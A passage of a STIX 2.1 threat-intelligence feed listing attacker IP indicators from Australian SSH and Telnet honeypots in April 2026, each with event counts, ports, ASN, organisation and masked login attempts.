      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22, 443. Source country: SE. ASN(s): 214503. Organisation(s): QuxLabs AB.",
      "id": "indicator--1a1d90a5-761a-4189-8776-9d371e4a6b00",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T20:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.84.107.33']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T20:15:03.000Z",
      "valid_until": "2026-05-13T20:15:01.000Z"
    },
    {
      "created": "2026-04-11T21:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 7623. Organisation(s): Gyeongbuk Cable TV.",
      "id": "indicator--ac00436d-d07a-4263-bbb9-f84ee2794360",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T21:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '110.35.235.136']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T21:15:04.000Z",
      "valid_until": "2026-05-13T21:15:01.000Z"
    },
    {
      "created": "2026-04-11T21:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: LU. ASN(s): 214472. Organisation(s): Offshore LC. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--82604af4-4ca6-4f9f-8569-8fd746c7663e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T21:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '176.65.139.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T21:15:04.000Z",
      "valid_until": "2026-05-13T21:15:01.000Z"
    },
    {
      "created": "2026-04-11T21:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--9e3c3b87-4fbd-4709-9d97-c902ad02cda8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T21:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '20.121.46.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T21:15:04.000Z",
      "valid_until": "2026-05-13T21:15:01.000Z"
    },
    {
      "created": "2026-04-11T21:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--2821f381-efc8-42d8-88d2-fe2d371cbc5e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T21:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '43.128.93.40']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T21:15:04.000Z",
      "valid_until": "2026-05-13T21:15:01.000Z"
    },
    {
      "created": "2026-04-11T22:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 17858. Organisation(s): LG POWERCOMM. Usernames observed (masked): r**t, u****u, 3**********4, f****e, ***. Passwords observed (masked): 1*********A, 3***********4, 3**********4, 5***5, F******1.",
      "id": "indicator--3546d3b0-cedb-4e23-af48-e801fac98b71",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T22:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '112.151.178.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T22:15:04.000Z",
      "valid_until": "2026-05-13T22:15:02.000Z"
    },
    {
      "created": "2026-04-11T22:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 164. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SE. ASN(s): 215439. Organisation(s): Play2go International Limited. Usernames observed (masked): a***n, p******s, r**t, u****u, 3**********4. Passwords observed (masked): 1******9, 1******a, 3***********4, 3**********4, D****!.",
      "id": "indicator--225e554e-c00d-44ef-8bfd-96c10b5a0fbd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T22:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '144.31.230.156']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T22:15:04.000Z",
      "valid_until": "2026-05-13T22:15:02.000Z"
    },
    {
      "created": "2026-04-11T22:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 268. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): r**t, u****u, 3**********4, f*****t, f****e. Passwords observed (masked): 3***********4, 3**********4, *, 1****6, 1*********A.",
      "id": "indicator--207bd393-7696-431b-8695-5b636adf6c2d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T22:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '171.244.37.96']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T22:15:04.000Z",
      "valid_until": "2026-05-13T22:15:02.000Z"
    },
    {
      "created": "2026-04-11T22:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 172. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: JP. ASN(s): 3258. Organisation(s): xTom Japan Corporation. Usernames observed (masked): r**t, f*****t, 3**********4, w****n. Passwords observed (masked): 1*********A, 3***********4, 3**********4, a*******3, f*********t.",
      "id": "indicator--4a1a3b58-5076-4dd4-8a41-7b6938367693",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T22:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.66.131.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T22:15:04.000Z",
      "valid_until": "2026-05-13T22:15:02.000Z"
    },
    {
      "created": "2026-04-11T23:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--575375d3-64d6-42fa-97fe-9c9ca7a7a676",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T23:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T23:15:07.000Z",
      "valid_until": "2026-05-13T23:15:02.000Z"
    },
    {
      "created": "2026-04-11T23:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: PT. ASN(s): 211680. Organisation(s): Sistemas Informaticos, S.A..",
      "id": "indicator--1b7cdd70-85d1-4e85-8689-3b44cf0c28da",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T23:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.156.128.129']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T23:15:07.000Z",
      "valid_until": "2026-05-13T23:15:02.000Z"
    },
    {
      "created": "2026-04-11T23:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: TH. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd.. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--08e75bc2-229f-45c3-9798-5e73b71ac64c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T23:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '47.87.70.243']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T23:15:07.000Z",
      "valid_until": "2026-05-13T23:15:02.000Z"
    },
    {
      "created": "2026-04-12T00:15:30.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 158. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 138152. Organisation(s): YISU CLOUD LTD. Usernames observed (masked): r**t, p******s, u****u, 3**********4, g****b. Passwords observed (masked): !**********e, 1****3, 1****6, 3***********4, 3**********4.",
      "id": "indicator--21e49f77-0106-4dd4-97c9-91e735994b21",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T00:15:30.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.143.238.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T00:15:30.000Z",
      "valid_until": "2026-05-14T00:15:02.000Z"
    },
    {
      "created": "2026-04-12T00:15:30.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 9. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CO. ASN(s): 3816. Organisation(s): COLOMBIA TELECOMUNICACIONES S.A. ESP BIC. Usernames observed (masked): r**t. Passwords observed (masked): q*************#.",
      "id": "indicator--8bdf4a37-c9c9-4c9a-9dcb-1fe3a6bc2c17",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T00:15:30.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '152.200.181.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T00:15:30.000Z",
      "valid_until": "2026-05-14T00:15:02.000Z"
    },
    {
      "created": "2026-04-12T00:15:30.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AR. ASN(s): 11664. Organisation(s): Techtel LMDS Comunicaciones Interactivas S.A.. Usernames observed (masked): f*****r, r**t, t**t. Passwords observed (masked): Q**********6, f********!, m****i.",
      "id": "indicator--eb5493ce-3dfe-4283-916c-1902397f1e38",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T00:15:30.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '186.122.177.140']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T00:15:30.000Z",
      "valid_until": "2026-05-14T00:15:02.000Z"
    },
    {
      "created": "2026-04-12T00:15:30.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: NL. ASN(s): 25369. Organisation(s): Hydra Communications Ltd.",
      "id": "indicator--808cebac-5f19-46b9-8fc6-9bd9f310801e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T00:15:30.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '193.176.31.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T00:15:30.000Z",
      "valid_until": "2026-05-14T00:15:02.000Z"
    },
    {
      "created": "2026-04-12T00:15:30.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): a***n, e*********r, r**t. Passwords observed (masked): 1**********y, e*********r, q*******8.",
      "id": "indicator--5b1782cc-ce2a-4921-837a-1c3c15159aab",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T00:15:30.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '20.255.56.84']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T00:15:30.000Z",
      "valid_until": "2026-05-14T00:15:02.000Z"
    },
    {
      "created": "2026-04-12T00:15:30.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 24532. Organisation(s): PT. Inet Global Indo. Usernames observed (masked): e******r, u**r. Passwords observed (masked): P******d, u*******6.",
      "id": "indicator--cd6482d1-f540-4431-8823-58734b494c70",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T00:15:30.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '27.111.32.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T00:15:30.000Z",
      "valid_until": "2026-05-14T00:15:02.000Z"
    },
    {
      "created": "2026-04-12T00:15:30.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 101. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ES. ASN(s): 206076. Organisation(s): Ingenieria y Suministros Profesionales, S.L.. Usernames observed (masked): r**t, u**r, 3**********4, f*****r. Passwords observed (masked): 3***********4, 3**********4, 6****1, Q********6, Q*******4.",
      "id": "indicator--553bbd7b-ea95-4d38-83d8-7baed8917879",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T00:15:30.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '46.253.45.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T00:15:30.000Z",
      "valid_until": "2026-05-14T00:15:02.000Z"
    },
    {
      "created": "2026-04-12T01:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 58470. Organisation(s): IX Peering for Mobilink and Link Direct International..",
      "id": "indicator--1781cc1c-abe0-4787-91e6-34d9568f0d5b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T01:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '119.30.117.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T01:15:03.000Z",
      "valid_until": "2026-05-14T01:15:02.000Z"
    },
    {
      "created": "2026-04-12T01:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 179. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PL. ASN(s): 12876. Organisation(s): Scaleway SAS. Usernames observed (masked): r**t, a***n, c*****r, ***, d****f. Passwords observed (masked): 1****6, a***n, p******d, 1********0, 1******x.",
      "id": "indicator--773e333c-a97e-40b5-b058-e00af13f8d9d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T01:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '151.115.79.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T01:15:03.000Z",
      "valid_until": "2026-05-14T01:15:02.000Z"
    },
    {
      "created": "2026-04-12T01:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 26. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone. Usernames observed (masked): r**t. Passwords observed (masked): -*************-, 5***************O, h******!, r********6.",
      "id": "indicator--090bdeb3-f0f8-4a5b-9021-912c8eaf1f77",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T01:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '153.99.92.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T01:15:03.000Z",
      "valid_until": "2026-05-14T01:15:02.000Z"
    },
    {
      "created": "2026-04-12T01:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 1301. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 63949. Organisation(s): Akamai Connected Cloud. Usernames observed (masked): r**t, d****y, u****u, o****e, u**r. Passwords observed (masked): 1****6, ***, *, 1**4, 1******8.",
      "id": "indicator--cf8abee8-13bd-4994-9d9c-d01d5a3f2343",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T01:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '172.236.181.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T01:15:03.000Z",
      "valid_until": "2026-05-14T01:15:02.000Z"
    },
    {
      "created": "2026-04-12T01:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: NL. ASN(s): 25369. Organisation(s): Hydra Communications Ltd.",
      "id": "indicator--5e90647c-5c21-4221-b04f-19b24849fefd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T01:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '193.176.31.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T01:15:03.000Z",
      "valid_until": "2026-05-14T01:15:02.000Z"
    },
    {
      "created": "2026-04-12T01:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 8560. Organisation(s): IONOS SE. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--8603edff-6716-433f-ba79-4dfc23883b53",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T01:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '217.154.47.221']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T01:15:03.000Z",
      "valid_until": "2026-05-14T01:15:02.000Z"
    },
    {
      "created": "2026-04-12T01:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14618. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--1630eaf1-c13f-4afd-8a40-dc8901685545",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T01:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '3.85.18.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T01:15:03.000Z",
      "valid_until": "2026-05-14T01:15:02.000Z"
    },
    {
      "created": "2026-04-12T01:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 5432. Source country: PT. ASN(s): 211680. Organisation(s): Sistemas Informaticos, S.A.. Usernames observed (masked): p******s. Passwords observed (masked): d**************0.",
      "id": "indicator--72f5f799-77c8-43d3-ae96-4fb1494a07d3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T01:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.156.129.60']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T01:15:03.000Z",
      "valid_until": "2026-05-14T01:15:02.000Z"
    },
    {
      "created": "2026-04-12T02:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 9318. Organisation(s): SK Broadband Co Ltd. Usernames observed (masked): r**t, 3**********4, ***, o****e, t***1. Passwords observed (masked): 1******C, 3***********4, 3**********4, A******., Q******4.",
      "id": "indicator--d025c182-b303-40d0-a9ba-6c857da94005",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T02:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '115.178.75.242']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T02:15:03.000Z",
      "valid_until": "2026-05-14T02:15:02.000Z"
    },
    {
      "created": "2026-04-12T02:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 123. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 24560. Organisation(s): Bharti Airtel Ltd., Telemedia Services. Usernames observed (masked): r**t, 3**********4, ***, b*****n, f*****r. Passwords observed (masked): 1****3, 1********#, 3***********4, 3**********4, B******6.",
      "id": "indicator--8e2f3c4f-bfa9-4706-9ae8-2c2d795c3647",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T02:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '122.165.124.15']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T02:15:03.000Z",
      "valid_until": "2026-05-14T02:15:02.000Z"
    },
    {
      "created": "2026-04-12T02:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 271. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t, 3**********4, t*******r, m*****r, ***. Passwords observed (masked): 3***********4, 3**********4, Q********#, Q*********#, Q******2.",
      "id": "indicator--8756cff3-b0d3-4bdd-998d-5d4ef2c21058",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T02:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '172.191.157.64']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T02:15:03.000Z",
      "valid_until": "2026-05-14T02:15:02.000Z"
    },
    {
      "created": "2026-04-12T02:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 118. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 7713. Organisation(s): PT Telekomunikasi Indonesia. Usernames observed (masked): r**t, 3**********4, a***n, c****e, f*****r. Passwords observed (masked): 1********#, 3***********4, 3**********4, Q***********5, R******!.",
      "id": "indicator--44e1834b-a344-46d3-b473-996f12b0c39f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T02:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '36.69.144.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T02:15:03.000Z",
      "valid_until": "2026-05-14T02:15:02.000Z"
    },
    {
      "created": "2026-04-12T02:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 201. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone. Usernames observed (masked): r**t, f*****r, 3**********4, t**t, a***n. Passwords observed (masked): 3***********4, 3**********4, 1****3, ***, B******6.",
      "id": "indicator--b95a3982-3f9b-4920-a0ed-a61d6c2e5652",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T02:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '59.98.83.57']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T02:15:03.000Z",
      "valid_until": "2026-05-14T02:15:02.000Z"
    },
    {
      "created": "2026-04-12T02:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 127. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FI. ASN(s): 216300. Organisation(s): Closed Joint Stock Company AbkhazMedia. Usernames observed (masked): r**t, f*****r, t**t, 3**********4, a***n. Passwords observed (masked): 3***********4, 3**********4, A**********$, B******6, F********!.",
      "id": "indicator--aa0dd373-68e8-4d70-87d8-a608932c2f6a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T02:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '77.221.144.127']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T02:15:03.000Z",
      "valid_until": "2026-05-14T02:15:02.000Z"
    },
    {
      "created": "2026-04-12T02:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 152. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RU. ASN(s): 210079. Organisation(s): EuroByte LLC. Usernames observed (masked): m**k, r**t, 3**********4, t**t. Passwords observed (masked): 3***********4, 3**********4, A**********$, Q***********5, m**k.",
      "id": "indicator--4f2d44f3-893c-43a5-9854-c46098463b51",
      "labels": [
